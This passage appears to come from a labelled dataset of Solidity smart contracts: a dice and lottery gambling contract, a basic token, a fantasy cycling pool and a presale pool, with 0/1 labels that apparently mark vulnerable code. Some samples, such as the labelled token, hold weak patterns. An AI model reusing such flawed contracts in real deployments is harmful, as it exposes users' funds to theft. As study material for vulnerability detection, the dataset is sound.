priceCoeff = priceCoeff.sub(tokensAmount.mul(1e10));
return weiAmount;
}
function bytesToAddress(bytes source) private pure returns(address parsedAddress)
{
assembly {
parsedAddress := mload(add(source,0x14))
}
return parsedAddress;
}
function sqrt(uint256 x) private pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function deleteTokensHolder(uint index) private {
holders[index] = holders[holders.length - 1];
delete holders[holders.length - 1];
holders.length--;
}
}
contract Game is usingOraclize, Ownable {
using SafeMath for uint;
uint private constant GAME_COIN_FlIP = 0;
uint private constant GAME_DICE = 1;
uint private constant GAME_TWO_DICE = 2;
uint private constant GAME_ETHEROLL = 3;
uint public constant LOTTERY_FEE = 0.002 ether;
uint public constant BENEFICIAR_FEE_PERCENT = 5;
uint public constant TOKEN_HOLDERS_FEE_PERCENT = 45;
uint public constant MIN_ETH_BET = 0.01 ether;
uint public constant MIN_TOKENS_BET = 0.05 ether;
struct Query {
uint amount;
address gamer;
uint[] values;
uint prize;
uint range;
uint game;
bool tokens;
uint time;
bool ended;
}
mapping(bytes32 => Query) public queries;
mapping(address => uint) public waitingEthPrizes;
mapping(address => uint) public waitingTokensPrizes;
mapping(address => bool) public isBet;
mapping(address => uint) public betsBalances;
mapping(address => uint) private minEthRanges;
mapping(address => uint) private maxEthRanges;
mapping(address => uint) private minTokensRanges;
mapping(address => uint) private maxTokensRanges;
address[] public holdersInEthLottery;
address[] public holdersInTokensLottery;
address[] public players;
bytes32 public ethLotteryQueryId;
uint public ethLotterySize;
uint public ethLotteryStage;
uint public ethLotteryRound;
uint public lastEthLotteryTime;
bytes32 public tokensLotteryQueryId;
uint public tokensLotterySize;
uint public tokensLotteryStage;
uint public tokensLotteryRound;
uint public lastTokensLotteryTime;
uint public lastSendBonusTokensTime;
uint public callbackGas;
uint public beneficiarFund;
address public beneficiar;
BonusToken public bonusToken;
InvestToken public investToken;
uint private playersIndex;
event PlaceBet(address indexed gamer, bytes32 queryId, bool tokens);
event Bet(address indexed gamer, uint indexed game, bool tokens, uint amount, uint result, uint[] winResult, uint prize, uint timestamp);
event WinLottery(address indexed gamer, uint prize, uint ticketsAmount, uint indexed round, bool tokens);
modifier valideAddress(address addr) {
require(addr != address(0));
_;
}
constructor(address startBeneficiarAddress) public valideAddress(startBeneficiarAddress) {
oraclize_setProof(proofType_Ledger);
oraclize_setCustomGasPrice(5000000000);
callbackGas = 300000;
beneficiar = startBeneficiarAddress;
}
function placeBet(uint game, uint[] values, uint tokensAmount, uint index) payable external {
uint payAmount;
if (tokensAmount == 0) {
require(msg.value >= MIN_ETH_BET);
payAmount = fee(msg.value, false);
} else {
require(tokensAmount >= MIN_TOKENS_BET);
investToken.sendToGame(msg.sender, tokensAmount, index);
payAmount = fee(tokensAmount, true);
}
require(game == GAME_COIN_FlIP || game == GAME_DICE || game == GAME_TWO_DICE || game == GAME_ETHEROLL);
require(valideBet(game, values));
uint range;
uint winChance;
if (game == GAME_COIN_FlIP) {
require(values.length == 1);
range = 2;
winChance = 5000;
} else if (game == GAME_DICE) {
require(values.length <= 5);
range = 6;
winChance = 1667;
winChance = winChance.mul(values.length);
} else if (game == GAME_TWO_DICE) {
require(values.length <= 10);
range = 11;
for (uint i = 0; i < values.length; i++) {
if (values[i] == 0 || values[i] == 10) winChance = winChance.add(278);
else if (values[i] == 1 || values[i] == 9) winChance = winChance.add(556);
else if (values[i] == 2 || values[i] == 8) winChance = winChance.add(833);
else if (values[i] == 3 || values[i] == 7) winChance = winChance.add(1111);
else if (values[i] == 4 || values[i] == 6) winChance = winChance.add(1389);
else if (values[i] == 5) winChance = winChance.add(1667);
}
} else if (game == GAME_ETHEROLL) {
require(values.length <= 1);
range = 100;
winChance = uint(100).mul(values[0] + 1);
}
address sender = msg.sender;
if (!isBet[sender]) {
players.push(sender);
isBet[sender] = true;
}
bytes32 queryId = random();
uint prize = payAmount.mul(10000).div(winChance);
if (tokensAmount == 0) {
betsBalances[sender] = betsBalances[sender].add(payAmount);
newQuery(queryId, msg.value, sender, values, prize, range);
queries[queryId].tokens = false;
} else {
newQuery(queryId, tokensAmount, sender, values, prize, range);
queries[queryId].tokens = true;
}
queries[queryId].game = game;
emit PlaceBet(sender, queryId, queries[queryId].tokens);
}
function ethLottery() external onlyOwner {
require(now - lastEthLotteryTime >= 1 weeks);
require(bonusToken.ethLotteryBank() > 0);
require(ethLotterySize > 0);
if (!bonusToken.isEthLottery()) {
address[] memory lotteryParticipants = bonusToken.ethLotteryParticipants();
for (uint i = 0; i < lotteryParticipants.length; i++) {
address participant = lotteryParticipants[i];
uint participantBalance = bonusToken.ethLotteryBalances(participant);
if (participantBalance > 0) {
holdersInEthLottery.push(participant);
}
}
updateEthLotteryRanges();
ethLotteryRound++;
}
bonusToken.startEthLottery();
ethLotteryQueryId = random();
}
function tokensLottery() external onlyOwner {
require(now - lastTokensLotteryTime >= 1 weeks);
require(bonusToken.tokensLotteryBank() > 0);
require(tokensLotterySize > 0);
if (!bonusToken.isEthLottery()) {
address[] memory lotteryParticipants = bonusToken.tokensLotteryParticipants();
for (uint i = 0; i < lotteryParticipants.length; i++) {
address participant = lotteryParticipants[i];
uint participantBalance = bonusToken.tokensLotteryBalances(participant);
if (participantBalance > 0) {
holdersInTokensLottery.push(participant);
}
}
updateTokensLotteryRanges();
tokensLotteryRound++;
}
bonusToken.startTokensLottery();
tokensLotteryQueryId = random();
}
function sendBonusTokens(uint playersIterations) external onlyOwner {
require(now - lastSendBonusTokensTime >= 24 hours);
uint playersIterationsNumber;
if (players.length.sub(playersIndex) < playersIterations) {
playersIterationsNumber = players.length.sub(playersIndex);
} else {
playersIterationsNumber = playersIterations;
}
uint tokensAmount;
uint betsBalance;
for (uint i; i < playersIterationsNumber; i++) {
address player = players[playersIndex];
tokensAmount = 0;
betsBalance = betsBalances[player];
if (betsBalance >= 1 ether) {
tokensAmount = betsBalance.div(1 ether).mul(100);
betsBalance = betsBalance.sub(betsBalance.div(1 ether).mul(1 ether));
if (tokensAmount > 0) {
betsBalances[player] = betsBalance;
bonusToken.buyTokens(player, tokensAmount);
}
}
playersIndex++;
}
if (playersIndex == players.length) {
playersIndex = 0;
lastSendBonusTokensTime = now;
}
}
function refundEthPrize() external {
require(waitingEthPrizes[msg.sender] > 0);
require(address(this).balance >= waitingEthPrizes[msg.sender]);
uint weiAmountToSend = waitingEthPrizes[msg.sender];
waitingEthPrizes[msg.sender] = 0;
msg.sender.transfer(weiAmountToSend);
}
function refundTokensPrize() external {
require(waitingTokensPrizes[msg.sender] > 0);
require(investToken.balanceOf(address(this)) >= waitingTokensPrizes[msg.sender]);
uint tokensAmountToSend = waitingTokensPrizes[msg.sender];
waitingTokensPrizes[msg.sender] = 0;
investToken.transfer(msg.sender, tokensAmountToSend, 0);
}
function setOraclizeGasPrice(uint gasPrice) external onlyOwner {
oraclize_setCustomGasPrice(gasPrice);
}
function setOraclizeGasLimit(uint gasLimit) external onlyOwner {
callbackGas = gasLimit;
}
function setBeneficiar(address newBeneficiar) external onlyOwner valideAddress(newBeneficiar) {
beneficiar = newBeneficiar;
}
function setInvestToken(address investTokenAddress) external onlyOwner valideAddress(investTokenAddress) {
investToken = InvestToken(investTokenAddress);
}
function setBonusToken(address bonusTokenAddress) external onlyOwner valideAddress(bonusTokenAddress) {
bonusToken = BonusToken(bonusTokenAddress);
}
function getFund(uint weiAmount) external onlyOwner {
msg.sender.transfer(weiAmount);
}
function getBeneficiarFund() external {
require(msg.sender == beneficiar);
uint weiAmountToSend = beneficiarFund;
beneficiarFund = 0;
msg.sender.transfer(weiAmountToSend);
}
function __callback(bytes32 myId, string result, bytes proof) public {
require((msg.sender == oraclize_cbAddress()));
Query storage query = queries[myId];
require(!query.ended);
uint randomNumber;
uint i;
uint prize;
address tokensHolder;
if (query.gamer != address(0)) {
if (oraclize_randomDS_proofVerify__returnCode(myId, result, proof) != 0) {
if (!query.tokens) {
sendEthWin(query.gamer, query.amount);
} else {
sendTokensWin(query.gamer, query.amount);
}
} else {
randomNumber = uint(keccak256(result)) % query.range;
bool isWin;
if (query.game == GAME_ETHEROLL) {
if (randomNumber <= query.values[0]) {
if (query.tokens) {
sendTokensWin(query.gamer, query.prize);
} else {
sendEthWin(query.gamer, query.prize);
}
isWin = true;
}
} else {
for (i = 0; i < query.values.length; i++) {
if (randomNumber == query.values[i]) {
if (query.tokens) {
sendTokensWin(query.gamer, query.prize);
} else {
sendEthWin(query.gamer, query.prize);
}
isWin = true;
break;
}
}
}
uint prizeAmount = 0;
if (isWin) {
prizeAmount = query.prize;
}
emit Bet(query.gamer, query.game, query.tokens, query.amount, randomNumber, query.values, prizeAmount, now);
}
query.ended = true;
} else if (myId == ethLotteryQueryId) {
require(oraclize_randomDS_proofVerify__returnCode(myId, result, proof) == 0);
randomNumber = uint(keccak256(result)) % bonusToken.ethLotteryBank();
if (ethLotteryStage == 0) {
prize = ethLotterySize.div(2);
} else if (ethLotteryStage == 1) {
prize = ethLotterySize.div(4);
} else if (ethLotteryStage == 2) {
prize = ethLotterySize.mul(12).div(100);
} else if (ethLotteryStage == 3) {
prize = ethLotterySize.mul(8).div(100);
} else {
prize = ethLotterySize.div(20);
}
for (i = 0; i < holdersInEthLottery.length; i++) {
tokensHolder = holdersInEthLottery[i];
if (randomNumber >= minEthRanges[tokensHolder] && randomNumber < maxEthRanges[tokensHolder]) {
deleteEthLotteryParticipant(i);
sendEthWin(tokensHolder, prize);
emit WinLottery(tokensHolder, prize, bonusToken.ethLotteryBalances(tokensHolder), ethLotteryRound, false);
ethLotteryStage++;
updateEthLotteryRanges();
bonusToken.updateEthLotteryBank(bonusToken.ethLotteryBalances(tokensHolder));
break;
}
}
if (ethLotteryStage == 5 || holdersInEthLottery.length == 0) {
holdersInEthLottery = new address[](0);
ethLotterySize = 0;
ethLotteryStage = 0;
lastEthLotteryTime = now;
bonusToken.restartEthLottery();
} else {
ethLotteryQueryId = random();
}
} else if (myId == tokensLotteryQueryId) {
require(oraclize_randomDS_proofVerify__returnCode(myId, result, proof) == 0);
randomNumber = uint(keccak256(result)) % bonusToken.tokensLotteryBank();
if (tokensLotteryStage == 0) {
prize = tokensLotterySize.div(2);
} else if (tokensLotteryStage == 1) {
prize = tokensLotterySize.div(4);
} else if (tokensLotteryStage == 2) {
prize = tokensLotterySize.mul(12).div(100);
} else if (tokensLotteryStage == 3) {
prize = tokensLotterySize.mul(8).div(100);
} else {
prize = tokensLotterySize.div(20);
}
for (i = 0; i < holdersInTokensLottery.length; i++) {
tokensHolder = holdersInTokensLottery[i];
if (randomNumber >= minTokensRanges[tokensHolder] && randomNumber < maxTokensRanges[tokensHolder]) {
deleteTokensLotteryParticipant(i);
sendTokensWin(tokensHolder, prize);
emit WinLottery(tokensHolder, prize, bonusToken.tokensLotteryBalances(tokensHolder), tokensLotteryRound, true);
tokensLotteryStage++;
updateTokensLotteryRanges();
bonusToken.updateTokensLotteryBank(bonusToken.tokensLotteryBalances(tokensHolder));
break;
}
}
if (tokensLotteryStage == 5 || holdersInTokensLottery.length == 0) {
holdersInTokensLottery = new address[](0);
tokensLotterySize = 0;
tokensLotteryStage = 0;
lastTokensLotteryTime = now;
bonusToken.restartTokensLottery();
} else {
tokensLotteryQueryId = random();
}
}
}
function updateEthLotteryRanges() private {
uint range = 0;
for (uint i = 0; i < holdersInEthLottery.length; i++) {
address participant = holdersInEthLottery[i];
uint participantBalance = bonusToken.ethLotteryBalances(participant);
minEthRanges[participant] = range;
range = range.add(participantBalance);
maxEthRanges[participant] = range;
}
}
function updateTokensLotteryRanges() private {
uint range = 0;
for (uint i = 0; i < holdersInTokensLottery.length; i++) {
address participant = holdersInTokensLottery[i];
uint participantBalance = bonusToken.tokensLotteryBalances(participant);
minTokensRanges[participant] = range;
range = range.add(participantBalance);
maxTokensRanges[participant] = range;
}
}
function valideBet(uint game, uint[] values) private pure returns(bool) {
require(values.length > 0);
for (uint i = 0; i < values.length; i++) {
if (i == 0) {
if (game == GAME_ETHEROLL && values[i] > 96) {
return false;
}
}
if (i != values.length - 1) {
if (values[i + 1] <= values[i]) {
return false;
}
}
}
return true;
}
function fee(uint amount, bool tokens) private returns(uint) {
uint beneficiarFee = amount.mul(BENEFICIAR_FEE_PERCENT).div(1000);
uint tokenHoldersFee = amount.mul(TOKEN_HOLDERS_FEE_PERCENT).div(1000);
if (tokens) {
tokensLotterySize = tokensLotterySize.add(LOTTERY_FEE);
investToken.transfer(beneficiar, beneficiarFee, 0);
} else {
ethLotterySize = ethLotterySize.add(LOTTERY_FEE);
beneficiarFund = beneficiarFund.add(beneficiarFee);
address(investToken).transfer(tokenHoldersFee);
investToken.gameDividends(tokenHoldersFee);
amount = amount.sub(tokenHoldersFee);
}
amount = amount.sub(beneficiarFee).sub(LOTTERY_FEE);
return amount;
}
function newQuery(bytes32 queryId, uint amount, address gamer, uint[] values, uint prize, uint range) private {
queries[queryId].gamer = gamer;
queries[queryId].amount = amount;
queries[queryId].values = values;
queries[queryId].prize = prize;
queries[queryId].range = range;
queries[queryId].time = now;
}
function random() private returns(bytes32 queryId) {
require(address(this).balance >= oraclize_getPrice('random', callbackGas));
queryId = oraclize_newRandomDSQuery(0, 4, callbackGas);
require(queryId != 0, 'Oraclize error');
}
function sendEthWin(address winner, uint weiAmount) private {
if (address(this).balance >= weiAmount) {
winner.transfer(weiAmount);
} else {
waitingEthPrizes[winner] = waitingEthPrizes[winner].add(weiAmount);
}
}
function sendTokensWin(address winner, uint tokensAmount) private {
if (investToken.balanceOf(address(this)) >= tokensAmount) {
investToken.transfer(winner, tokensAmount, 0);
} else {
waitingTokensPrizes[winner] = waitingTokensPrizes[winner].add(tokensAmount);
}
}
function deleteEthLotteryParticipant(uint index) private {
holdersInEthLottery[index] = holdersInEthLottery[holdersInEthLottery.length - 1];
delete holdersInEthLottery[holdersInEthLottery.length - 1];
holdersInEthLottery.length--;
}
function deleteTokensLotteryParticipant(uint index) private {
holdersInTokensLottery[index] = holdersInTokensLottery[holdersInTokensLottery.length - 1];
delete holdersInTokensLottery[holdersInTokensLottery.length - 1];
holdersInTokensLottery.length--;
}
} | 0 |
pragma solidity ^0.4.22;
contract ieoservices {
string public name = "ieo services";
string public symbol = "ieos";
uint256 public decimals = 18;
address public adminWallet;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
uint256 public totalSupply = 1000000;
bool public stopped = false;
uint public constant TOKEN_SUPPLY_TOTAL = 1000000000000000000000000;
uint256 constant valueFounder = TOKEN_SUPPLY_TOTAL;
address owner = 0x0;
mapping (address => bool) public LockWallets;
function lockWallet(address _wallet) public isOwner{
LockWallets[_wallet]=true;
}
function unlockWallet(address _wallet) public isOwner{
LockWallets[_wallet]=false;
}
function containsLock(address _wallet) public view returns (bool){
return LockWallets[_wallet];
}
modifier isOwner {
assert(owner == msg.sender);
_;
}
modifier isRunning {
assert(!stopped);
_;
}
modifier validAddress {
assert(0x0 != msg.sender);
_;
}
constructor() public {
owner = msg.sender;
adminWallet = owner;
totalSupply = valueFounder;
balanceOf[owner] = valueFounder;
emit Transfer(0x0, owner, valueFounder);
}
function transfer(address _to, uint256 _value) public isRunning validAddress returns (bool success) {
if (containsLock(msg.sender) == true) {
revert("Wallet Locked");
}
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public isRunning validAddress returns (bool success) {
if (containsLock(_from) == true) {
revert("Wallet Locked");
}
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
require(allowance[_from][msg.sender] >= _value);
balanceOf[_to] += _value;
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public isRunning validAddress returns (bool success) {
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function stop() public isOwner {
stopped = true;
}
function start() public isOwner {
stopped = false;
}
function setName(string _name) public isOwner {
name = _name;
}
function setSymbol(string _symbol) public isOwner {
symbol = _symbol;
}
function burn(uint256 _value) public {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[0x0] += _value;
emit Transfer(msg.sender, 0x0, _value);
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 |
pragma solidity ^0.4.21;
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TourPool is Owned{
bool public startlistUploaded;
address diipCoinContract;
address public currentLeader;
uint public highScore;
uint public prizeMoney;
uint public registrationDeadline;
uint public maxTeamSize;
uint public playerBudget;
uint public playerCount;
struct Rider {
uint price;
uint score;
}
struct Player {
uint status;
uint[] team;
uint teamPrice;
}
mapping(address => Player) public players;
address[] public registrations;
mapping(uint => Rider) public riders;
event NewPlayer(address indexed player);
event TeamCommitted(address indexed player, uint indexed teamPrice, uint[] team);
event scoresUpdated(uint[] riderIDs, uint[] dayScores);
event scoresEdited(uint[] riderIDs, uint[] newScores);
event PrizeMoneyStored(uint Prize);
modifier beforeDeadline {
require(now <= registrationDeadline);
_;
}
modifier diipCoinOnly {
require(msg.sender == diipCoinContract);
_;
}
function TourPool() public {
diipCoinContract = 0xc9E86029bd081af490ce39a3BcB1bccF99d33CfF;
registrationDeadline = 1530954000;
maxTeamSize = 8;
playerBudget = 100;
startlistUploaded = false;
}
function register() public beforeDeadline returns (bool success){
require(players[msg.sender].status == 0);
players[msg.sender].status = 1;
players[msg.sender].teamPrice = 0;
registrations.push(msg.sender);
emit NewPlayer(msg.sender);
return transferPlayerBudget(msg.sender);
}
function tokenFallback(
address _sender,
uint _value,
uint[] _team
)
public beforeDeadline diipCoinOnly returns (bool)
{
require(startlistUploaded);
return commitTeam(_sender, _value, _team);
}
function uploadStartlist(uint[] prices) public onlyOwner beforeDeadline returns (bool success){
require(prices.length == 176);
for (uint i; i < prices.length; i++){
riders[i + 1].price = prices[i];
}
startlistUploaded = true;
return true;
}
function editStartlist(uint[] riderIDs, uint[] prices) public onlyOwner beforeDeadline returns (bool success){
require(riderIDs.length == prices.length);
for (uint i = 0; i < riderIDs.length; i++){
riders[riderIDs[i]].price = prices[i];
}
return true;
}
function commitScores(
uint[] _riderIDs,
uint[] _scores
)
public onlyOwner
{
require(_riderIDs.length == _scores.length);
for (uint i; i < _riderIDs.length; i++){
riders[_riderIDs[i]].score += _scores[i];
}
emit scoresUpdated(_riderIDs, _scores);
(highScore, currentLeader) = getHighscore();
}
function editScores(uint[] _riderIDs, uint[] _newScores) public onlyOwner returns (bool success){
require(_riderIDs.length == _newScores.length);
for (uint i; i < _riderIDs.length; i++){
riders[_riderIDs[i]].score = _newScores[i];
}
(highScore, currentLeader) = getHighscore();
emit scoresEdited(_riderIDs, _newScores);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function storePrizeMoney() public payable onlyOwner returns (bool success){
emit PrizeMoneyStored(msg.value);
prizeMoney = msg.value;
return true;
}
function payTheWinner() public payable onlyOwner returns (bool success){
uint toSend = prizeMoney;
prizeMoney -= toSend;
currentLeader.transfer(toSend);
return true;
}
function getTeamPrice(uint[] team) public view returns (uint totalPrice){
totalPrice = 0;
for (uint i; i < team.length; i++){
totalPrice += riders[team[i]].price;
}
}
function getPlayerScore(address _player) public view returns(uint score){
uint[] storage team = players[_player].team;
score = 0;
for (uint i = 0; i < team.length; i++){
uint dupCount = 0;
for (uint j = 0;j < team.length; j++){
if (team[i] == team[j]){
dupCount++;
}
}
if (dupCount == 1){
score += riders[team[i]].score;
}
}
return score;
}
function getHighscore() public view returns (uint newHighscore, address leader){
newHighscore = 0;
for (uint i; i < registrations.length; i++){
uint score = getPlayerScore(registrations[i]);
if (score > newHighscore){
newHighscore = score;
leader = registrations[i];
}
}
return (newHighscore, leader);
}
function getPlayerTeam(address _player) public view returns(uint[] team){
return players[_player].team;
}
function transferPlayerBudget(address playerAddress) private returns (bool success){
return ERC20Interface(diipCoinContract).transfer(playerAddress, playerBudget);
}
function commitTeam(
address _player,
uint _value,
uint[] _team
)
private returns (bool success)
{
require(players[_player].status >= 1);
require(_team.length <= maxTeamSize);
uint oldPrice = players[_player].teamPrice;
uint newPrice = getTeamPrice(_team);
require(oldPrice + _value >= newPrice);
require(oldPrice + _value <= playerBudget);
if (newPrice < oldPrice){
ERC20Interface(diipCoinContract).transfer(_player, (oldPrice - newPrice));
}
players[_player].teamPrice = newPrice;
players[_player].team = _team;
players[_player].status = 2;
emit TeamCommitted(_player, newPrice, _team);
return true;
}
} | 0 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
}
contract WhiteList {
function checkMemberLevel (address addr) view public returns (uint) {}
}
contract PresalePool {
using SafeMath for uint;
uint8 public contractStage = 1;
address public owner;
uint[] public contributionCaps;
uint public feePct;
address public receiverAddress;
uint constant public contributionMin = 100000000000000000;
uint constant public maxGasPrice = 50000000000;
WhiteList constant public whitelistContract = WhiteList(0x8D95B038cA80A986425FA240C3C17Fb2B6e9bc63);
uint public nextCapTime;
uint [] public nextContributionCaps;
uint public addressChangeBlock;
uint public finalBalance;
uint[] public ethRefundAmount;
address public activeToken;
struct Contributor {
bool authorized;
uint ethRefund;
uint balance;
uint cap;
mapping (address => uint) tokensClaimed;
}
mapping (address => Contributor) whitelist;
struct TokenAllocation {
ERC20 token;
uint[] pct;
uint balanceRemaining;
}
mapping (address => TokenAllocation) distributionMap;
modifier onlyOwner () {
require (msg.sender == owner);
_;
}
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
event ContributorBalanceChanged (address contributor, uint totalBalance);
event ReceiverAddressSet ( address _addr);
event PoolSubmitted (address receiver, uint amount);
event WithdrawalsOpen (address tokenAddr);
event TokensWithdrawn (address receiver, address token, uint amount);
event EthRefundReceived (address sender, uint amount);
event EthRefunded (address receiver, uint amount);
event ERC223Received (address token, uint value);
function _toPct (uint numerator, uint denominator ) internal pure returns (uint) {
return numerator.mul(10 ** 20) / denominator;
}
function _applyPct (uint numerator, uint pct) internal pure returns (uint) {
return numerator.mul(pct) / (10 ** 20);
}
function PresalePool(address receiverAddr, uint[] capAmounts, uint fee) public {
require (fee < 100);
require (capAmounts.length>1 && capAmounts.length<256);
for (uint8 i=1; i<capAmounts.length; i++) {
require (capAmounts[i] <= capAmounts[0]);
}
owner = msg.sender;
receiverAddress = receiverAddr;
contributionCaps = capAmounts;
feePct = _toPct(fee,100);
whitelist[msg.sender].authorized = true;
}
function () payable public {
if (contractStage == 1) {
_ethDeposit();
} else if (contractStage == 3) {
_ethRefund();
} else revert();
}
function _ethDeposit () internal {
assert (contractStage == 1);
require (tx.gasprice <= maxGasPrice);
require (this.balance <= contributionCaps[0]);
var c = whitelist[msg.sender];
uint newBalance = c.balance.add(msg.value);
require (newBalance >= contributionMin);
require (newBalance <= _checkCap(msg.sender));
c.balance = newBalance;
ContributorBalanceChanged(msg.sender, newBalance);
}
function _ethRefund () internal {
assert (contractStage == 3);
require (msg.sender == owner || msg.sender == receiverAddress);
require (msg.value >= contributionMin);
ethRefundAmount.push(msg.value);
EthRefundReceived(msg.sender, msg.value);
}
function withdraw (address tokenAddr) public {
var c = whitelist[msg.sender];
require (c.balance > 0);
if (contractStage < 3) {
uint amountToTransfer = c.balance;
c.balance = 0;
msg.sender.transfer(amountToTransfer);
ContributorBalanceChanged(msg.sender, 0);
} else {
_withdraw(msg.sender,tokenAddr);
}
}
function withdrawFor (address contributor, address tokenAddr) public onlyOwner {
require (contractStage == 3);
require (whitelist[contributor].balance > 0);
_withdraw(contributor,tokenAddr);
}
function _withdraw (address receiver, address tokenAddr) internal {
assert (contractStage == 3);
var c = whitelist[receiver];
if (tokenAddr == 0x00) {
tokenAddr = activeToken;
}
var d = distributionMap[tokenAddr];
require ( (ethRefundAmount.length > c.ethRefund) || d.pct.length > c.tokensClaimed[tokenAddr] );
if (ethRefundAmount.length > c.ethRefund) {
uint pct = _toPct(c.balance,finalBalance);
uint ethAmount = 0;
for (uint i=c.ethRefund; i<ethRefundAmount.length; i++) {
ethAmount = ethAmount.add(_applyPct(ethRefundAmount[i],pct));
}
c.ethRefund = ethRefundAmount.length;
if (ethAmount > 0) {
receiver.transfer(ethAmount);
EthRefunded(receiver,ethAmount);
}
}
if (d.pct.length > c.tokensClaimed[tokenAddr]) {
uint tokenAmount = 0;
for (i=c.tokensClaimed[tokenAddr]; i<d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance,d.pct[i]));
}
c.tokensClaimed[tokenAddr] = d.pct.length;
if (tokenAmount > 0) {
require(d.token.transfer(receiver,tokenAmount));
d.balanceRemaining = d.balanceRemaining.sub(tokenAmount);
TokensWithdrawn(receiver,tokenAddr,tokenAmount);
}
}
}
function authorize (address addr, uint cap) public onlyOwner {
require (contractStage == 1);
_checkWhitelistContract(addr);
require (!whitelist[addr].authorized);
require ((cap > 0 && cap < contributionCaps.length) || (cap >= contributionMin && cap <= contributionCaps[0]) );
uint size;
assembly { size := extcodesize(addr) }
require (size == 0);
whitelist[addr].cap = cap;
whitelist[addr].authorized = true;
}
function authorizeMany (address[] addr, uint cap) public onlyOwner {
require (addr.length < 255);
require (cap > 0 && cap < contributionCaps.length);
for (uint8 i=0; i<addr.length; i++) {
authorize(addr[i], cap);
}
}
function revoke (address addr) public onlyOwner {
require (contractStage < 3);
require (whitelist[addr].authorized);
require (whitelistContract.checkMemberLevel(addr) == 0);
whitelist[addr].authorized = false;
if (whitelist[addr].balance > 0) {
uint amountToTransfer = whitelist[addr].balance;
whitelist[addr].balance = 0;
addr.transfer(amountToTransfer);
ContributorBalanceChanged(addr, 0);
}
}
function modifyIndividualCap (address addr, uint cap) public onlyOwner {
require (contractStage < 3);
require (cap < contributionCaps.length || (cap >= contributionMin && cap <= contributionCaps[0]) );
_checkWhitelistContract(addr);
var c = whitelist[addr];
require (c.authorized);
uint amount = c.balance;
c.cap = cap;
uint capAmount = _checkCap(addr);
if (amount > capAmount) {
c.balance = capAmount;
addr.transfer(amount.sub(capAmount));
ContributorBalanceChanged(addr, capAmount);
}
}
function modifyLevelCap (uint level, uint cap) public onlyOwner {
require (contractStage < 3);
require (level > 0 && level < contributionCaps.length);
require (this.balance <= cap && contributionCaps[0] >= cap);
contributionCaps[level] = cap;
nextCapTime = 0;
}
function modifyAllLevelCaps (uint[] cap, uint time) public onlyOwner {
require (contractStage < 3);
require (cap.length == contributionCaps.length-1);
require (time == 0 || time>block.timestamp);
if (time == 0) {
for (uint8 i = 0; i < cap.length; i++) {
modifyLevelCap(i+1, cap[i]);
}
} else {
nextContributionCaps = contributionCaps;
nextCapTime = time;
for (i = 0; i < cap.length; i++) {
require (contributionCaps[i+1] <= cap[i] && contributionCaps[0] >= cap[i]);
nextContributionCaps[i+1] = cap[i];
}
}
}
function modifyMaxContractBalance (uint amount) public onlyOwner {
require (contractStage < 3);
require (amount >= contributionMin);
require (amount >= this.balance);
contributionCaps[0] = amount;
nextCapTime = 0;
for (uint8 i=1; i<contributionCaps.length; i++) {
if (contributionCaps[i]>amount) contributionCaps[i]=amount;
}
}
function _checkCap (address addr) internal returns (uint) {
_checkWhitelistContract(addr);
var c = whitelist[addr];
if (!c.authorized) return 0;
if (nextCapTime>0 && block.timestamp>nextCapTime) {
contributionCaps = nextContributionCaps;
nextCapTime = 0;
}
if (c.cap<contributionCaps.length) return contributionCaps[c.cap];
return c.cap;
}
function _checkWhitelistContract (address addr) internal {
var c = whitelist[addr];
if (!c.authorized) {
var level = whitelistContract.checkMemberLevel(addr);
if (level == 0 || level >= contributionCaps.length) return;
c.cap = level;
c.authorized = true;
}
}
function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) {
if (contractStage == 1) {
remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (contributionCaps[0],this.balance,remaining);
}
function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) {
var c = whitelist[addr];
if (!c.authorized) {
cap = whitelistContract.checkMemberLevel(addr);
if (cap == 0) return (0,0,0);
} else {
cap = c.cap;
}
balance = c.balance;
